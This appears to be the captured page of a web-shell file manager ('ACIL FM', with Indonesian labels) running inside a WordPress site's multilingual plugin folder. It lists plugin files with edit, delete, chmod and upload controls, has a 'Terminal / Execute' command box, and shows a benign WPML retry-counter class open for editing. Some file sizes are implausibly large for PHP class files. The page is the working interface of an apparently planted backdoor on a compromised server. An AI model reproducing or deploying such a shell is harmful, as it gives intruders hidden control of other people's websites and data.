ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/editor
/
home
mhhtmff
www
site
wp-content
plugins
sitepress-multilingual-cms
classes
editor
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
ATEDetailedErrorMessage.php
3.44 MB
chmod
View
DL
Edit
Rename
Delete
ATERetry.php
858 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-editors.php
118 B
chmod
View
DL
Edit
Rename
Delete
class-wpml-tm-old-jobs-editor.php
1.89 MB
chmod
View
DL
Edit
Rename
Delete
ClassicEditorActions.php
1.06 MB
chmod
View
DL
Edit
Rename
Delete
Editor.php
11.09 MB
chmod
View
DL
Edit
Rename
Delete
ManualJobCreationErrorNotice.php
3.64 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/classes/editor/ATERetry.php
<?php namespace WPML\TM\Editor; use WPML\LIB\WP\Option; class ATERetry { /** * @param int $jobId * * @return bool */ public static function hasFailed( $jobId ) { return self::getCount( $jobId ) >= 0; } /** * @param int $jobId * * @return int */ public static function getCount( $jobId ) { return (int) Option::getOr( self::getOptionName( $jobId ), - 1 ); } /** * @param int $jobId */ public static function incrementCount( $jobId ) { Option::update( self::getOptionName( $jobId ), self::getCount( $jobId ) + 1 ); } /** * @param int $jobId */ public static function reset( $jobId ) { Option::delete( self::getOptionName( $jobId ) ); } /** * @param int $jobId * * @return string */ public static function getOptionName( $jobId ) { return sprintf( 'wpml-ate-job-retry-counter-%d', $jobId ); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply